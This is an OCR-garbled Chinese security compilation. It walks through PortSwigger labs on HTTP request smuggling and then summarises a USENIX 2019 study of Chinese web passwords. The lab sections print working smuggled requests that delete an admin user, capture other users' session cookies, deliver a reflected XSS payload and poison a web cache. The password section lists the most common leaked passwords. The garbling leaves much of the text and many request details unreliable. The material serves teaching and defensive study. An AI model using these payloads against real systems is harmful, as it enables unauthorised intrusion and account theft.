X BRBE—HTIP IEREF

Cancel <le > | Target https://ac1b1f991edef1f1802323bc00e10084.web-security-academy.net [:J l:J
Request Response
Params | Headers | Hex I Raw | Headers [ Hex | HTML TRender ]
POST / HTTP/1.1 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15"></polygon> A
Host: aclblf?®9ledeflfl802323bc00el0084.web-security-academy.net r <polygon points="14.3,0 .
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.14; 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15"></polygon>
rv:56.0) Gecko/20100101 Firefox/56.0 =/g=
Accept: </svg>
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 <fa=
Accept-Language: en-US,en;g=0.5 </div>
Cookie: session=Iegl0045GnwlddlFQzxduddtBlwgWsKI <div class="widgetcontainer-lab-status
Content-Length: 55 is-notsolved™">
Transfer-Encoding: chunked <span>LAB</span>
<p>Not solved</p>
0 <gpan class="lab-gtatus-icon"></gpan>
<fdiv>
GET /fadmin HTTP/1.1 </div>
Host: localhost </section>
foo: bar </div>
<section class="maincontainer">
| <div class="container is-page”>
<section>
<hl>Users</hl>
I <div>
1 <span>administrator - </span>
<a T
href="/admin/delete?username=administrator">Delete</a>
<fdiv>
<dive>
<gpan>carlos - </span>
<a
href="/admin/delete?username=carlos”>Delete</a>
</fdiv>
=div>
<span>wiener - </span>
<a
href="/admin/delete?username=wiener">bpelete</a>
<fdiv>
</section>
<br>
<hr>
</div>
</section>
<fdiv>
</body>
</html>
. &
A b

BT EMBEREBEAE

JUREN R B IOMIFR A carlos,

| Go Cancel >\ Target: https:/ fac1b1f991edef1f1802323bc00e10084.web-security-academy.net [:J L’J
Request Response
Ray Params | Headers | Hex iRa.w Headers | Hex

POST / HTTR/1.1 ] HTTP/1.1 200 OK )
Host: aclblf99ledeflf1802323bc00el0084 . .web-security-academy.net - Content-Type: text/plain; charset=utf-2 =
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10.14; Set-Cockie: sessionmBvIJOHPlbHmsSJIShjlFcZFWKsWnOKYEN®; Secure;
rv:56.0) Gecko/ /20100101 Firefox/56.0 HttpOnly
Accept: Keep-Alive: timeout=0
text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8 Connection: close
Ahccept-Language: en-US,en;g=0.5 Content-Length: 8
Cookie: session=Iegl0045GnwlddlFQzxduQdtBRwglsKI
Content-Length: 78 Success!
Transfer-Encoding: chunked
(i}

GET /admin/delete?username=carlos HTTP/1.1

Host: localhost
foo: bar
ARN—REERXE, 1%
F‘E%E’\Jiﬁﬂ?, %Eﬁﬁﬁﬂ\mT\ﬁE%ﬁo

5.1.1 (€F3 TE-CL SES RItmARSS 2R R 242

SRR EMAF SRR, FIEELTENBERBOTE—

Lab it : https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-

cl

NERE F—

— T+ 2EMT, BAREE
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PP sk MBI BIE—HTIP 5 RER

Go Cance <lv | > | Target https://acb91f961ffca22c807518e70026007e.web-security-academy.net |£j L“J

Request Response

IRaw Params | Headers | Hex Rawl Headers | Hex

POST / HTTP/1.1 A HTTP/1.1 200 OK

Host: acb91f961ffca22c807518e70026007e.web-security-acadeny.net r Content-Type: text/plain; charset=utf-8§ :
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.14; Set-Cookie: session=mU%AdOséNbzrnKaHcE9R3hb92CYUsgTj; Secure;
rv:56.0) Gecko/20100101 Firefox/56.90 HttpOnly

Cookie: session=VpmOmvWF2EoymDvhNKdZGAtWEgBOelgh Keep-Alive: timeout=0

Content-Length: 4 Connection: close

Transfer-Encoding: chunked Content-Length: 8§

5b Success!
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost

Content-Length: 15

MengChen
]

12.5.2 5.2 FINHIRRBZR/REE ERFER
EAENMEIET, AinRERSBEREIERE, FTERELKAGIRERSE, MELRIM—L
ENTFE, AEBRLRLERRSHR. XEFEREEIRRSENIFREITEIEMAIRI, L:
IR TLS F1ZFR{ER NN TR
BERF 1P #ihbAY XFF sk
FAFPHNSTE<SH ID
B2z, RTEERMENIERSFHANIEEENFER, BMNEMITEZMIERMAEHEIRRS
ERHATIEMRRILIE . BRATNNZAAIREUXLE(EIR . PortSwigger IR T —MRERWSE, FER=
KB
K—EERIE RS R E R B RIIMA A POST 153K
JBIZ POST &R, HEIRIX MRS E RN REHE
REEFMRX—NMER, RAREELEA—NEENIER, FRRSENXMERESHN—LEFEM
~ TR,
BLIEREE, KREM— TEHR—ERFES TIE,

Lab 1ttt : https:/portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-

b

rewriting
SERARLBENEZMERAF carlos,
BATERHTE DR, H—TRBEERSHENER LRI POST iHXK,
EMTT LS R RINEMA ST EK
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? WEB SECURITY Exploiting HTTP request smuggling to reveal front-end LAB | Not solved |

ACADEMY request rewriting

Delete the user 'carlos’

0 search results for '233333'

233333

MERIEE

POST / HTTP/1.1

Host: ac831£8c1£287d3d808d2e1c00280087 .web-security-academy.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Content-Type: application/x-www-form-urlencoded

Cookie: session=2r0rjC16pIb7ZfURX8Q1SuUlv6UMAXLA

Content-Length: 77

Transfer-Encoding: chunked

POST / HTTP/1.1
Content-Length: 70

Connection: close

search=123

ZIRIER Z BRI ASR 1S AR AR 35 23 N A9 K 3k
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Go Cancel < v > | Target: https://ac831f8c1f287d3d808d2e1c00280087.web-security-academy.net l:J li
Request Response
Raw | Params | Headers | Hex [_R_aw Headers | Hex | HTML T Render ]
FOST / HTTF/1.1 I </g> i
Host: acB31f8clf287d3d808d2elc00280087 .web-security-academy.net r =/svg> r
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.14; <fa=
rv:56.0) Gecko/20100101 Firefox/56.0 </div>
Content-Type: application/x-www-form-urlencoded <div class="widgetcontainer-lab-status
Cookie: sess5ion=2r0crjCléplbT2fURNBQLSUVIVEUNAXLA is-notsolved">
Content-Length: 77 <span>LAB</span>
Transfer-Encoding: chunked <p>Not solved</p>
<span clasgs="lab-status-icon"></span>
0 </dive
</div>
</section>
POST / HTTP/1.1 ( </divs
Content-Length: 70 <gsection elass="maincontainer">
Connection: close <div _class="container">
<section class="blog-header">
search=123 <hl1>0 search results for '123
POST / HTTP/1.1
X-yfaezR-Ip: 42.3.124.60
Host: acB3lfBel’'</hl>
L
</section>
<section class="search"> ~
<form action="/" method="POST">
<input maxlength="600" type="text”
placeholder="Search the blog..." name="search” value="123
FOST / HITP/1.1
X-yfaezR-Ip: 42.3.124.60
Host: acB83lfscl™>
<button type="submit"
class="button">Search</button>
</form>
</section>
<section class="blog-list">
<div class="is-linkback">
<a href="/">Back to Blog</a>
</div>
</section>
</div>
</section>
</div>
</body>
</html>
. o/
v v

? il e = Type a search term 0 matches 2| = + || = 123 2 matches

XEAEEREREE, PTBAMBATIENEIRERANTF, AINER, HMNEDITENBERRD

POST / HTTP/1.1
Content-Length: 70

Connection: close

search=123

H P Content-Length FI{EN 70, EATEHEFNIIENKEZARN 70 19, FLEIRRSREEK
BRXTENMRIBERZE, FINARXTIEREZERTE, HREEGER.

BEBXBRELRFERNSES, EinRSHFZVWINSHIIHIERSESEMIBFNIER,
SENIBIENSKERDA 70 1Y, EHRRFEANRXTIERELERTET, AEHTMN, X
—3K, BERNERN—EDHIEN T ELERNSHN—ED, REMIEN PRI T HFE, il
BEIRENZ T RlimAR SR ESNFER.

FEEMMNER BRI FER, AEEL—THERAFERMIFET .

176
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Go Cance l < | > | v Target: https://acB31f8c1f287d3d808d2e1c00280087.web-security-academy.net lil ._\J

Request Response

Raw | Params | Headers | Hex Rawl Headers | Hex

POST / HTTP/1.1 HTTE/1.1 200 OK

Host: acB31f8clf287d3d808d2elc00280087.web-security-academy.net : Content-Type: text/plain; charset=utf-8 :
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.14; Set-Cookie: session=WsiriQ8XSPvIdsTSKoj3iwQaUCgkNELOX; Secure;
rv:56.0) Gecko/20100101 Firefox/56.0 HttpOnly

Content-Type: application/x-www-form-urlencoded Keep-Alive: timeout=0

Cookie: session=2roriClépIb7ZfURXEQLSuUlvEUMAXLA Connection: close

Content-Length: 119 Content-Length: B8

Transfer-Encoding: chunked
Success!
a

GET /admin/delete?username=carlos HTTF/1.1
X-yfaezR-Ip: 127.0.0.1

Content-Length: 10

Connection: close

123

1253 5.3 FEHMAFHIER
FEL—1TRH, FNEIEL—TATEBANERIGRNANRARSFNNNFER, MmFEkE T A
RERERIER, REIER, BATELIERELIRNE T BATERIBERZERIER, WREFK(IOE
BiEkZE, BEttAPBHT TIEKRIE? HAIFHAIXT POST IERSRAFRIIEFMEARTHEK
E? XAF—FK, FANTUEL—TERBER, BEMBFPIEIBERNESHRIENLBRZE, HFMH
FMIE, HNBEFXLELRE, MERBAFPNBERT ., XUMARMGEAFOERES, bk
SEEFER.
Lab it : https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests
LAY R BIZIRIEMAFH Cookie RKIABJEMIKS
BAEAEZIH—TRBBEANERFMEEINIEFE POST EXKKRE, REZMAERIMILFH
B—THRPITEHIM S,
MEY POST 1B R FAMIELEE

POST / HTTP/1.1

Host: ac661£531e07£12180eb2f1a009d0092.web-security-academy.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;9=0.8

Accept-Language: en-US,en;q=0.5

Cookie: session=0GESUV1KzuczaZSzsazFs0CQ4fdLetwa

Content-Length: 267

Transfer-Encoding: chunked

POST /post/comment HTTP/1.1
Host: ac661£531e07£12180eb2f1a009d0092.web-security-academy.net
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Cookie: session=o0GESUV1KzuczaZSzsazFs0CQ4fdLetwa

Content-Length: 400

csrf=JDqCEvQexfPihDYr08mr1MundZJsrpX7&postId=5&name=meng&email=email%40qq.com&website=&comment

XFHEXHER T, ERENESXINIMENEM, HITIREAFHASIRNEEthAF RS
Ry —#HHE CRIEKRER. TEREMERF, ERIEREZERN, REEN—KRE, T
AIIERE TR,

meng | 09 October 2019

POST / HTTP/1.1 Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net User-
Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8 Accept-Language: en-
US,en;q=0.5 Cookie: session=0GESU

meng | 09 October 2019

POST /HTTP/1.1 Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net User-
Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-
US,en;q=0.5 Cookie: session=0GESU

meng | 09 October 2019

POST /HTTP/1.1 Host: ac661f531e07f12180eb2f1a009d0092.web-security-academy.net User-
Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*:q=0.8 Accept-Language: en-
US.en;q=0.5 Cookie: session=0GESU

meng | 09 October 2019

GET /post?postid=5 HTTP/1.1 Host: ac661f531e07f12180eb2f12009d0092.web-security-
academy.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101

1254 5.4 FIFA/REEY XSS
BATRILAMER HTTP EFLBRIER R XSS #ITHE, IFAFESREERHITRE, KRR
T RAEIF R AR XSS iR,
Lab #hilt: https://portswigger.net/web-security/request-smuggling/exploiting/lab-deliver-reflected-xss
AELRNMABPELEHIRTRIRRSS[BAZIFOREE, BIRZRNAT alert(1)
B iRIE UA HINAINIEHIE Payload
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X BRBE—HTIP IEREF

t Go Cancel <|v > | Target: https://aca51f3d1ff5adcdB8065063900210082.web-security-academy.net l:J U
Request Response
Raw | Params | Headers | Hex !Raw | Headers | Hex | HTML IRender ]
GET /postPpostld=5 HTTP/1.1 A <p> ]
Host: aca51f3dlff5adcd8065063900210082.web-security-acadeny.net " <img -
User-Agent: "><script>alert(l)</script># src="/resources/images/avatarbDefault.svg” class="avatar">
Accept: Fred Time | 03 September 2019
text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8 </p>
Accept-Language: en-US,en;q=0.5 <prCan you start tagging me in these
Cookie: session=I6ZdHREAQUw3IzJBGELj2Nfz1W4 ImFNOP blegs as soon as they&apos;re posted? I love being the first
Connection: close comment, not a lowly&apos; whatever this is.</p>
Upgrade-Insecure-Requests: 1 <ps</p>
Cache-Control: max-age=0 </section>
<hr>
<section class="add-comment">
<hi>Leave a comment</hi>
<form action="/post/comment”
method="POST" enctype="application/x-www-form-urlencoded”™>
<input regquired type="hidden"
name="csrf" value="oak 4ThEBOET0aed THHLZM2iFUsmv3™>
<input required type="hidden”
name="userhgent"” value=""5><script>alert{l)y</script>i">
<input required type="hidden"
i name="postId” wvalue="5">
] <label>Comment:</label>
<textarea required rows="12"
cols="300" name="comment"></textarea>
<label>Name:</label>
<input regquired type="text"
name="name ">
<label>Email:</label>
<input regquired type="email”
name="email">
<label>Website:</label>
<input pattern="{(http:|https:).+"
type="text" name="website">
<button class="button"
type="submit">Post Comment</button>
</form>
</section>
<div class="is=-linkback">
<a href="/">Back to Blog</a>
</div>
<fdiv>
</section>
<fdiv>
- </body>
v </html> v

RIEMIEHIEE

POST / HTTP/1.1

Host: ac801fd21fef85b98012b3a700820000.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 123

Transfer-Encoding: chunked

GET /post?postId=5 HTTP/1.1

User-Agent: "><script>alert(1)</script>#

Content-Type: application/x-www-form-urlencoded

LERSFEN si 28 Rihle), WAl SHAE

aj & ac801fd21fef85b98012b3a700820000.web-security-academy.net

...f85b98012b3a700820000.web-security-academy.net &

by
1

BEWME—T, F—R#H, IUEXIMIZRELBRT,
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R Y BRBE—HTIP IERER
1255 5.5 #{TEFRE
—RRRE, RIRARSRE T HERE, SN EIHRRSHN—LERZFRHITER, WREFE HITPIEKE
imE, NEREEREERMATEFRE, MNMEMEELAENMERP.
Lab bl : https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning
SEIOIMR IR T IR BB AR SS 25
FBERNIMMNERE, — 1 POST, EHFEEMNEKE, H—TREFRX IS XHKRIHH GET
BK.,
MTFERXN IS X4 Hfl

/resources/js/labHeader. js

YRAIEIMN AR S5 23

Craft a response

File:

/post

Head:

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8

Body:

alert(1)

m View stored response
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PP sk MBI BIE—HTIP 5 RER
MiE POST EFAEUES

POST / HTTP/1.1
Host: ac761£721e06e9c8803d12ed0061004f .web-security-academy.net
Content-Length: 129

Transfer-Encoding: chunked

GET /post/next?postId=3 HTTP/1.1
Host: acbl1fe31e16e96b800e125a013b009f .web-security-academy.net

Content-Length: 10

123
SAIEHIE GET RS

GET /resources/js/labHeader.js HTTP/1.1
Host: ac761£f721e06e9c8803d12ed0061004f .web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0

Connection: close

POST 153K H GET 1B KR Ei#1T, ZHITILR, AABRIAE js X4, TN AEFRNREFARS2E
;R g

& & ity & acb11fe31e16e96b800e125a013b009f. web-security-academy.net/post?postid=4

alert(1l)

TBRIEDT, AUIHSEE, HJLARNE, js XHRINAIHRAIIRARSS 21T T &,

{r @ ac761f721e06e9c8803d12ed0061004f. web-security-academy.net 7w B (7} L?n $

...06e9c8803d12ed0061004f.web-security-academy.net

g

[ED

Py

12.6 6. QaIBHE

MBIHNARERGIH, BAIEZLHET HTTP IBREMMBEEMY, BAZMEIRHEHIE? THIGEN
RS52%, BRANBHEHERABRE =M,

oo
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@ LIS IEIB S & B SRR D

BILIBILI SECURITY RESPONSE CENTER

@W XSS
SQL;EA

BILISRC — MEEMERELNR 22 4 [y e Bz iy
(BILIBILISECURITY RESPONSE CENTER)
=R REMBNE & R
ey W5, BRS5Re <L £ Iol@ FR B A
BRI EFIEER

IR :
https://security.bilibili.com



https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEF%20CON%2024%20-%20Regilero-Hiding-Wookiees-In-Http.pdf
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13.1

AR, BRNMEREM: T RRPEMNZHEF NS

1¥#&: CDra90n@SecQuan
R https://mp.weixin.qq.com/s/Xywl2gIbonvosW-Gm10MjQ

JRX1EZE: Ding Wang, Ping Wang,Debiao He ,Yuan Tian
JRX#5@%: Birthday, Name and Bifacial-security: Understanding Passwords of Chinese Web Users
JRXHKR : USENIX2019

[EXHESE: https://www.usenix.org/system/files/sec19-wang-ding.pdf

EAXHXS 7,310 HPTESENPXEBHIT T Z0SLEDH, H5 3,320 B TMREXBE#HITTLE
B, ERNAT PXEEFITFSHBIEMIE ST, B RABMMPRIBBER AN -5 T
RXLEZBENREE. BF30, BKEERET T HXEBNRBLREE (Bifacial-security), EfISEL
EMRERIRMA®RSES (B, SRFIBNEERD, A 173 104), EERNPICEBLERCERER
MBEBNRGE (B, SBUNHMEKRT 105 8) . £ 107 THENR, AXBGAET PCFG BT HX
HIEENBERIRINERN 33.2%~49.8%, RXRAANHNKE AT UEBELEIMERARS 92%ZE 188%KIE
.

—. @

NAZBELSSLFEEDN Web BRESHIFAIZEFINFEERLR. REBENTFRIMELIBR T ENIN
ZZ2RE, FEEBRLCRERLE TEMBERNSMIIESZE (W, BFREBINZEERSMHIIL),
BREMNEZER. ERA—1REEREEBEFITZMA, FINESERARE, STREMBPENESE
M, MEMSHIIEASEFERERHXERR. Z—1TRAEANZHTBFRKE (marginal gain) 18
BAEDORAMERNITERA, ALRZERNITERECTAKASOSHREBIBEA, W, AP
ENEE,
BE2018F 6 B, REE 8.02ZNE, SHAEBKMAON20%ME (BRHKLEH) . LT
BOEREERARENEER:
(1) BREFERXDPEBMRZBREMENIE X IHIE?
(2) HXXEERBUNfEI RS ERBLE?
(3) 1R ELEHRIEHHR?
XLERBATRR, WMEALZETIRANPERAFREVENZEES. W, NRE—EE
MERE2EEHN, NRBPZGHLE (B0 length-8 + F1 2Class12 ) FBEITE (%0 RNN-PSM F]
) RAERRFIENAFLMIRITHN, HTERSMNATRENAF,
AEE T AT EE TR
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13.1.1

13.1.2

13.2

13.2.1

13.2.2

2R AH, BRAMEREMY: TRIEREAFNED
1. SLIESH
BT ENRFA 7310 AN ESLHNP X ERG:

(1) EETHMLAFBEESARERE LRBEEERNRNN;

(2) RGUHREBRBPOEILIEX (GINBEE, B, WLMEIESE);

(3) R, REXMTAFANERBEERENRGRE TRIZERN, BE(EREIFERMI Zipf
MRS,

2. R¥RIE (reversal principle)

RAMMRSHNBRRESRZE (BIET PCFG MET Markov FIEIA]) KEEHX Web ZIEHIERE,
ARIGEER# T BT PCFG META, UEERIRIAAER RIEREMNED (B0 « 1qga2ws3ed”) . <&
FEIRIE BIRSCRBAINERE M SRFRNBENAFRNEY, ENLERIERESES, E2HEN
AR, XMRRMBERET . MMENMNEPNERF EEK.

=, IXEBNER

1. BESKENERER
RXBSEUEDHER T KB P IGRIN N EIBEEENR B XXM =T 2E8ES. 2349
THERES 1.063 21T EEE., WTRAR, X9 TMHIESERS, 185, XUNAKSERMR
AEl. fA17E 2009 FZ 2012 FEEZIBEREHEEBEN L AT R,
RERXEXMZAFAIRNABEXMPEE T ZER, ERXEHESEEMLALIE. FILX
RELCSHNRITER, FESTRRBNKFUANRES, NEERRPERZIKS A ZIBINXIEN
REENN, Bl, TERFIZEMATRTASMEER. o, REHIRES ARG ERER
frordl, MAXNERBRAERTFARTRRENRNEZLERE, tEaTREEEARIFAPIKS,,
AT EIESEAE AT AN, FHEXTENEREIEER,

Dataset | Web service Language Leaked Time Original PWs |Miscellany Length>30 Removed % |After cleaning Unique PWs
Tianya Social forum Chinese Dec. 2011 31,761,424 260,178 5 271% 30,901,241 12,898,437
Tk7k Gaming Chinese Dec. 2011 19,138,452 | 13,705,087 10,078  71.66%" 5423287 2,865,573
Dodonew | E-commerce& Gaming Chinese Dec. 2011 16,283,140 10,774 13,475 0.15% 16,258,801 10,135,260
178 Gaming Chinese Dec. 2011 9,072,966 0 1 0.00% 9,072,965 3462283
CSDN Programmer forum Chinese Dec. 2011 6.428.632 355 0 0.01% 6,428,277 4,037,605
Duowan | Gaming Chinese Dec. 2011 5,024,764 42,024 10 0.83% 4,982,730 3,119,060
Rockyou | Social forum English Dec. 2009 32,603,387 18,377 3140 0.07% 32,581,870 14,326,970
Yahoo Portal(e.g., E-commerce) English July 2012 453,491 10.657 0 235% |.... 442834 _.,I_,EAF?EEIG
Phpbb Programmer forum English Jan. 2009 255,421 45 3 0.02% |77 290 EE-F idERal

*We remove 13M duplicate accounts from 7Tk7k, because we identify that they are copied from Tianya as we will detail in Section 3.2.

2, BuEBHE
ASGERE—LEFIAEIESE (6140 Rockyou F Tianya) B1EANEMINER, 1%, BIE, len> 100 B9
BEFNHEE, Bit, EHTEWREZR, BSEEEEE. §MRIGEE MR E - BR 4t
MAPR, #—FMER len> 30 NFNFH, ANEFINERRBESEZE, RIXERFRFBEMNF
AEHAFPERN, MERBPERFNNSUIRERERN, ME, MELROBBESBL T X0
WRRERNBEENCE. SAME, HRRNEBRMNLEARTNZEAT (B LRPNRRE—5),
BRIFESBRA— 7 WREANBMAA RN T AENEIELE,
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13.2.3

REWR A0, ERAEREY: TRIERSEAFNBE

AR Tianya Bf 7k7k E4EI54%: Tianya FUIBEM 7kk WIBREZ B EFEAUZBHNES (B
7k7k K9 40.85%FNRIER 24.62%) , EEMAKMIGESLREIEKNE, FA3 “ 111222tanya’” &PIEMT
RSN T ARERIIRP . BEFNERIGEIES (EREREFHitbUt A2 280, 177
HEMANE 391 HFAPBIEEFHNBRER, . BAWXLERKZ MRS M Tanya EFIFIT 7k7k, {8
REGUBINEERRRSEOIEM 7k7k EFIZIT Tianya,

3. BiEfTH
(1) ESEKEY

M ERI RPN BEEZEREIESHZMERAKR, B
2, ITENMNX—ZFEHERRATX 9 M HBEBENFRHOM,
FNEZBS AIESHEERE,

A, RKEARESENZBATRHETENFESH (B2 TE)., BFERNE, BEME
EZMZIEN Web IRSHEMRER THEHEIESANEE, HFE8omtbiEEE M. XKA, SETE
HREEUEEN, PTBTREEFED mRABMEEAFNEIE, FIEPXEBNFE O mIRER
HEFl, =& aineohglwuyszxqedjmbtfrkpv, MFETHE R EIBIIS 2 acionrlstmedyhubkgpjviwzxq, RAR
NFEPNELFE (FlU, <a”, < M) MELHM, BERELEFE (fI9, <q” Mr’) XE
—HPIREHI ., WEHE TR AXLEE 2R NMERTEHM A ERRERLR, 58, OMEE
DHEHRX KNG,

RIS N IERARHITRIRNEEN
RERBEFHDHNREE (FEFEHD)

— TiANYA — | T8 - == Rockyou
1<% e TKTK CSDN - Yahoo
e DodOnew o~ Duowan -« Phpbdb
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2R AH, BRAMEREMY: TRIEREAFNED

RERFPHERBEZIEBENRAZN, EBMESHNFRINEMES BRNFEIMREMT
@, EfEZKEELBMAER? REFEBNBFHERPX (BIIXEER, REMNZRNEXSFHEFR
X)) BB R E RN F B2 74 inauhegoyszdjmxwqbetlpfrkv, XRBATEH X ZBHRIRITH
REFH (FwW<1r M «w’) ERXPAXFRIOLEIIERRRSF S, JeNRERRTEE, <1«
w DAIRER L Ml wang (RZ2HEHRE 2 IMNKK) NE-—1TFE, MENERN, FEBFE
M{EABRIREIZHEG,

HIEAFPNEBHERUMMRER, RXIESWFE DM (B etacinshrdlcumwigypbvkjxqz) 3K
B www.cryptograms.org/letter-frequencies.php, [1] %, “t¢° EHRIEBEXAPREN, BEFZIEZBHH
AER, —TEENEREREER, v BETIEN the, it, this, that, at, to ZFEMRITIEAP, mMXMIEE
BRHRDN,

ATH-—FREBESRLIBEBENHMBIEENEZBNEARE, NETHRIEBERBEES (UKIE
=) ZBFEDHFIINRENR (EFHD) , SREEETRP, “Pinyin_fullname’ ZH 2,426,841
MSH P XS RBAMAIFE (a0 wanglei F1 zhangwei) , “Pinyin_word”” 2 127,878 Ml4EaI
S EE18 (40 chang A cheng) 4ERLAYIFEL, 1HER, F7I A 5 B IRFEHFT B B A IREL.
{5040, inauh 3 aniuh AR EEE 3, FTF aniuh 2 inauh BIREEE .

WTFRR, KER—ESHNBBZENFED B RELKER KB ARESANBEBAIREE
#]NEZ, WERPENTBEEAREREES ZBANFEOHNE (BEHER 2 PIEMRE) ., FEN

HARERIR, PTEIXERIE, KEAEESNEBREFESH AR ERIIEARE, HEBBEIIEA

ENES, EXIMNARK (AINE).

Tianya 7k7k 178 CSDN Dodonew Duowan ﬁil.f;}:;; 1;';::; fulrlliagrll : P:‘:}:; Rockyou Yahoo Phpbb 1}:‘ :I'll ?’ﬁ; ]ai;ﬁt:;';

Tianya 0 15 22 42 15 17 14 40 32 37 100 100 113 100 99

Tk7k 15 0 23 31 14 10 13 41 39 38 105 101 112 105 96

Dodonew 22 23 0 42 21 15 12 52 40 49 94 92 105 94 99

178 42 31 42 0 41 35 32 56 48 47 134 130 141 134 125

CSDN 15 14 21 41 0 12 15 45 39 42 05 95 106 95 96

Duowan 17 10 15 35 12 0 9 49 39 44 99 97 110 99 98

All_Chinese PWs 14 1% 12 32 15 9 0 44 34 43 104 102 115 104 101

Chinese language 40 41 52 56 45 49 44 0 38 27 118 114 123 118 113

Pinyin_fullname 32 39 40 48 39 39 34 38 0 31 124 122 135 124 123

Pinyin_word 37 38 49 47 42 44 43 27 31 0 115 113 124 115 112

Rockyou 100 105 94 134 95 90 104 113 124 115 0 12 23 0 47

Yahoo 100 101 92 130 95 97 102 114 122 113 12 0 15 12 39

Phpbh 113 112 105 141 106 110 115 123 135 124 23 B, B . 23 a4

All_ English PWs 100 105 94 134 95 99 104 118 124 115 0 Bl ) 20 =E =gl =] 47

English language 90 96 99 125 96 98 101 113 123 112 47 39 44 47 0
(2) KES%

TE#ER T ZBNRED . TIE Web BRSS, IESNXMAEERANM, BTEEENSEEAREEK
BEoZ 1028, HAR6EI8HE. (NKEN 62 10 (BRI U SBTEIRESER 75% M E, MR
ZRKERN S B 12 UNEB, MZERAE 0%, ROBAFERKERT 15 MFRNEE, EF
ERNRE, AMIUFEERBHRKEMAZTHRE., 55— A’ﬁLE’J’EIDE%, CSDN fEEKE 75 fmHf
ZPNET—TIEE, FERBHIRKE <805 (MY 2.16%) . XAIEERH TEBRIEEKILIAR
FEIREARRENT 8,
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REMR A0, ERAEREY: TRIERSEAFNBE

35% — TiANYA e DuUOWEN
— TKTK - == Rockyou
30%
e Dodonew --- Yahoo
o 25% — 178 - == Phpbb
5 15%
10%
5%
0%
5 10 15 20 "—.‘# e
Length

(3) ERFVDNER

TRETRTREAFARRSWNE 10 MTRENNERE, FAIEHIEEFRELNEBIEE « 123456,
CSDN 2M—mfI7h, RARBBREERBBNKER 8+ (LE2), “111111” RiREE, HitR
TR SRR EIE < 12312377, < 1233217 F1 < 123456789, BANMIHKFAM, HUEEMAE (F
MEEMEIX) AE. BRERRTHBSFNAE: 52013147, ERXHFEERL B KTER"
MRS, 2 BIEN TR XEEENRI 2P, Bk, RIBHESTPNRTFEEEREEEXNNFE
FRFE (5190 « sunshine” ] “ letmein’’) , KIEMNEIBEER-IBERMIRE, “iloveyou”, WEHMITFERBith
i, =& “princess”, WHIMTERIBLIBEMIRT 10 BIIRAP, FRIEXL TIHE “BEMBHIN 247,
MATAERIRZ 12345, SK, ERAKT I, BELRRE: 123456, ~

Rank Tianya 7k7k  Dodonew 178 CSDN Duowan | Rockyou Yahoo Phpbb
1 123456 123456 123456 123456 123456789 123456 123456 123456 123456
2 111111 0 al23456 111111 12345678 111111 12345  password password
3 000000 111111 123456789  zz12369 11111111 123456789 | 123456789  welcome phpbb
4] 123456789 123456789 111111 giulaobai  dearbook 123123 | password ninja  gwerty
5 123123 123123 5201314 123456aa 00000000 000000 | iloveyou abc123 12345
6 123321 5201314 123123 wmsxiel23 123123123  5201314| princess 123456789 12345678
7 5201314 123 a321654 1231231234567890 123321 123321 12345678  letmein
8 12345678 12345678 12345 000000 88888888  al23456| rockyou sunshine 111111
9 666666 12345678 000000  qq66666 111111111 suibian| 12345678  princess 1234
10 [111222¢tianya  wangyut2 1234562  w2w2w2 147258369 12345678 abe123 gwerty 123456789
Sumof top-10 || 2,297,505 440,300 533,285 793,132 670,881 338,012 669,126, .. 4476, . T135
Total accounts || 30,901,241 5,423,287 16,258,891 9,072,965 6,428,277 4,982,730 32,581 8'}'{% r“ﬁ‘ =5 ‘/JJ“—' 73
% of top-10 7.43% 8.12% 3.28% 8.74% 10.44% 6.78% 205% 1 01 % 2.79%

(4) BBHEIEX
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REWR A0, ERAEREY: TRIERSEAFNBE

TERERTBBOSMEER B, T2 HEENRP B T ERREEERE N
TIGMERIR: 25.88%, 1§ 5 MEEM FHSITENEEG, E 5 AR 0BT B S ER S
A EBI TR RNBBERN= S — L, BT, SRS TNERBN I ERP R
B (241%), BANESRHSEM (11.50%), LHESR,

Semantic dictionary || Tianya  Tk7k Dodonew 178 CSDN Duowan lel%vg Chu?we R(;,-k_yuu ”Ya-hm) PhpbbAvg English

